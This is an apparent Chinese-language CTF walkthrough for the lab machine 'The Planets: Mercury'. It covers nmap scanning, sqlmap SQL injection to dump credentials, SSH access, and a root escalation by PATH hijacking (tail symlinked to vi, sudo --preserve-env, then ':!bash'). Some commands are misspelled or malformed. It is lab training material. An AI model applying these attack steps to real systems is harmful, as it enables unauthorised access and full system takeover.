THE PLANETS MERCURY -环境变量的设置提权以及SETENV的理解
主机发现
sudo nmap -sT --min-rate 10000 -p- 192.168.28.32 -oA nmapscan/ports
sudo nmap -sT -sC -sV -O -p22,8080 192.168.28.3 -oA nmapscan/detail
sudo nmap -sU --top-ports 20 192.168.28.3 -oA nmapscan/udp
sudo nmap --script=vuln -p22,8080 192.168.28.3 -oA nmapscan/vuln
访问http网页
同时进行爆破目录
sudo dir -u http://xx -w xx
访问网页时必须要读全todolist,根据开发习惯和交互行问推断技术和可能的漏洞
根据提示不断点击发现一个具有数字id的提示
利用这个进行sqlmap跑看看能否跑出
sudo sqlmap -u http://xx.xx.xx.xx:8080/mercuryfacts/1 --dbms mysql --dbs --batch#跑出数据库
获得用户密码
发现账户密码尝试ssh登录
ssh@xx.xx.xx.xx
成功getshell
权限查看
whoami uname -a lsb_release -a(内核版本) ip a sudo -l cat /etc/crontab
查看家目录是否有flag同时发现一个目录
进入此目录并查看txt发现了账号和base64加密的密码对linuxmaster账户的密码进行解密
切换的linuxmaster用户
su linuxmaster xx
查看whoami ip a sudo -l cat /etc/crontab
sudo -l
利用root账号需要设置一个环境变量才能执行check_syslog.sh这个脚本
查看check_syslog.sh的脚本
可以发现是tail命令运行
通过路径优先查找的方式进行提权
1.用户家目录设置软连接
ln -s /bin/vi tail
2.将当前路径设置为环境变量
export PATH=.:$PATH
#验证
echo $PATH
3.根据SETENV设置环境变量并执行脚本
sudo --preserver-env=PATH /usr/bin/check_syslog.sh
sudo的SETENV标记表示允许用户设置环境变量,而--preserve-env选项表示保留当前环境变量并传递给执行的命令
sudo --preverse-env=PATH /usr/bin/check_syslog.sh
成功执行了脚本,因为tail在环境变量中指向的时/bin/vi所以成功打开了一个vi界面
在vi界面进行提权的语句时 :!bash
成功提权